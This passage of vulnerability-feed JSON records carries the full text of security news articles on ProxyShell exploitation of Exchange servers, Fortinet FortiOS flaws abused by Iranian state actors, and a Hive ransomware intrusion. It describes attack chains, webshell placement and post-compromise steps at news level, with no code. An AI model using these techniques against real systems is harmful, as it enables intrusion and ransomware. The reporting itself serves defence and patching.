"integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-18T12:07:33", "type": "threatpost", "title": "Unpatched Fortinet Bug Allows Firewall Takeovers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2020-29015", "CVE-2021-22123"], "modified": "2021-08-18T12:07:33", "id": "THREATPOST:BE0B5E93BD5FBBCB893FDDFE5348FDE9", "href": "https://threatpost.com/unpatched-fortinet-bug-firewall-takeovers/168764/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\n![Threatpost Webinar Series ](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/27093135/threatpost-webinar-300x51.jpg)Worried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:38:05", "description": "[![](https://thehackernews.com/new-images/img/a/AVvXsEhKbdRreQ0Go0a6_nNV2mIHF-M4tF8ltZLh-zKh9XlGWei6N3zGQptPV2EVnu-c2aHwmgFtWbz4Xq0tDXGz3Z1dpDgiPu7RVWIwM8bhdGXus6httFDg3Syq5PSXHPDJiYhDv0KxH-eo9jncYNJb4pG6nA_987ryEtxPoAJr1RlSMcy7wdD0dNr3L2mW)](<https://thehackernews.com/new-images/img/a/AVvXsEhKbdRreQ0Go0a6_nNV2mIHF-M4tF8ltZLh-zKh9XlGWei6N3zGQptPV2EVnu-c2aHwmgFtWbz4Xq0tDXGz3Z1dpDgiPu7RVWIwM8bhdGXus6httFDg3Syq5PSXHPDJiYhDv0KxH-eo9jncYNJb4pG6nA_987ryEtxPoAJr1RlSMcy7wdD0dNr3L2mW>)\n\nCybersecurity agencies from Australia, the U.K., and the U.S. on Wednesday [released](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) a joint advisory warning of active exploitation of Fortinet and Microsoft Exchange ProxyShell vulnerabilities by Iranian state-sponsored actors to gain initial access to vulnerable systems for follow-on activities, including data exfiltration and ransomware.\n\nThe threat actor is believed to have leveraged multiple Fortinet FortiOS vulnerabilities dating back to March 2021 as well as a remote code execution flaw affecting Microsoft Exchange Servers since at least October 2021, according to the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the Australian Cyber Security Centre (ACSC), and the U.K.'s National Cyber Security Centre (NCSC).\n\nThe agencies did not attribute the activities to a specific advanced persistent threat (APT) actor. Targeted victims include Australian organizations and a wide range of entities across multiple U.S. critical infrastructure sectors, such as transportation and healthcare. The list of flaws being exploited are below \u2014\n\n * [**CVE-2021-34473**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) (CVSS score: 9.1) - Microsoft Exchange Server remote code execution vulnerability (aka \"[ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>)\")\n * [**CVE-2020-12812**](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>) (CVSS score: 9.8) - [FortiOS SSL VPN 2FA bypass](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) by changing username case\n * [**CVE-2019-5591**](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>) (CVSS score: 6.5) - FortiGate [default configuration](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) does not verify the LDAP server identity\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - [FortiOS system file leak](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>) through SSL VPN via specially crafted HTTP resource requests\n\nBesides exploiting the ProxyShell flaw to gain access to vulnerable networks, CISA and FBI said they observed the adversary abusing a Fortigate appliance in May 2021 to gain a foothold to a web server hosting the domain for a U.S. municipal government. The next month, the APT actors \"exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children,\" the advisory said.\n\nThe development marks the second time the U.S. government has [alerted](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>) of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 to compromise systems belonging to government and commercial entities.\n\nAs mitigations, the agencies are recommending organizations to immediately patch software affected by the aforementioned vulnerabilities, enforce data backup and restoration procedures, implement network segmentation, secure accounts with multi-factor authentication, and patch operating systems, software, and firmware as and when updates are released.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-17T15:44:00", "type": "thn", "title": "U.S., U.K. and Australia Warn of Iranian Hackers Exploiting Microsoft, Fortinet Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473"], "modified": "2021-11-22T07:14:13", "id": "THN:C3B82BB0558CF33CFDC326E596AF69C4", "href": "https://thehackernews.com/2021/11/us-uk-and-australia-warn-of-iranian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:27", "description": "[![Hive Ransomware](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e1000/hive-ransomware.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e100/hive-ransomware.jpg>)\n\nA recent Hive ransomware attack carried out by an affiliate involved the exploitation of \"ProxyShell\" vulnerabilities in the Microsoft Exchange Server that were disclosed last year to encrypt an unnamed customer's network.\n\n\"The actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise,\" Varonis security researcher, Nadav Ovadia, [said](<https://www.varonis.com/blog/hive-ransomware-analysis>) in a post-mortem analysis of the incident. \n\nHive, which was [first observed](<https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html>) in June 2021, follows the lucrative ransomware-as-a-service (RaaS) scheme adopted by other cybercriminal groups in recent years, enabling affiliates to deploy the file-encrypting malware after gaining a foothold into their victims' networks.\n\n[ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) \u2014 tracked as CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473 \u2014 involves a combination of security feature bypass, privilege escalation, and remote code execution in the Microsoft Exchange Server, effectively granting the attacker the ability to execute arbitrary code on affected servers.\n\nThe issues were addressed by Microsoft as part of its Patch Tuesday updates for April and May 2021.\n\nIn this case, successful exploitation of the flaws allowed the adversary to deploy web shells on the compromised server, using them to run malicious PowerShell code with SYSTEM privileges to create a new backdoor administrator user, hijack the domain admin account, and perform lateral movement.\n\n[![Hive Ransomware](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e1000/hive.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e100/hive.jpg>)\n\nThe web shells used in the attack are said to have been sourced from a [public git repository](<https://github.com/ThePacketBender/webshells>) and given filenames containing a random mix of characters to evade detection, Ovadia said. Also executed was an additional obfuscated PowerShell script that's part of the Cobalt Strike framework.\n\nFrom there, the threat actor moved to scan the network for valuable files, before proceeding to deploy the Golang ransomware executable (named \"Windows.exe\") to complete the encryption process and display the ransom note to the victim.\n\nOther operations carried out by the malware include deleting shadow copies, turning off security products, and clearing Windows event logs to avoid detection, prevent recovery, and ensure that the encryption happens without any hiccup.\n\nIf anything, the findings are yet another indicator that patching for known vulnerabilities is key to thwarting cyberattacks and other nefarious activities.\n\n\"Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits,\" Ovadia said. \"It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-21T10:00:00", "type": "thn", "title": "New Incident Report Reveals How Hive Ransomware Targets Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-21T10:00:58", "id": "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "href": "https://thehackernews.com/2022/04/new-incident-report-reveals-how-hive.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[![ProxyShell Flaws](https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna)](<https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency is warning of active exploitation attempts that leverage the latest line of \"**ProxyShell**\" Microsoft Exchange vulnerabilities that were patched earlier this May, including deploying LockFile ransomware on compromised systems.\n\nTracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207, the vulnerabilities enable adversaries to bypass ACL controls, elevate privileges on the Exchange PowerShell backend, effectively permitting the attacker to perform unauthenticated, remote code execution. While the former two were addressed by Microsoft on April 13, a patch for CVE-2021-31207 was shipped as part of the Windows maker's May Patch Tuesday updates.\n\n\"An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>).\n\nThe development comes a little over a week after cybersecurity researchers sounded the alarm on [opportunistic scanning and exploitation](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) of unpatched Exchange servers by taking advantage of the ProxyShell attack chain.\n\n[![ProxyShell Flaws](https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf)](<https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf>) \n--- \nImage Source: [Huntress Labs](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) \n \nOriginally demonstrated at the [Pwn2Own hacking contest](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) in April this year, ProxyShell is part of a broader trio of exploit chains discovered by DEVCORE security researcher Orange Tsai that includes ProxyLogon and ProxyOracle, the latter of which concerns two remote code execution flaws that could be employed to recover a user's password in plaintext format.\n\n\"They're backdooring boxes with webshells that drop other webshells and also executables that periodically call out,\" researcher Kevin Beaumont [noted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) last week.\n\nNow according to researchers from Huntress Labs, at least [five distinct styles of web shells](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) have been observed as deployed to vulnerable Microsoft Exchange servers, with over over 100 incidents reported related to the exploit between August 17 and 18. Web shells grant the attackers remote access to the compromised servers, but it isn't clear exactly what the goals are or the extent to which all the flaws were used.\n\nMore than 140 web shells have been detected across no fewer than 1,900 unpatched Exchanger servers to date, Huntress Labs CEO Kyle Hanslovan [tweeted](<https://twitter.com/KyleHanslovan/status/1428804893423382532>), adding \"impacted [organizations] thus far include building manufacturing, seafood processors, industrial machinery, auto repair shops, a small residential airport and more.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 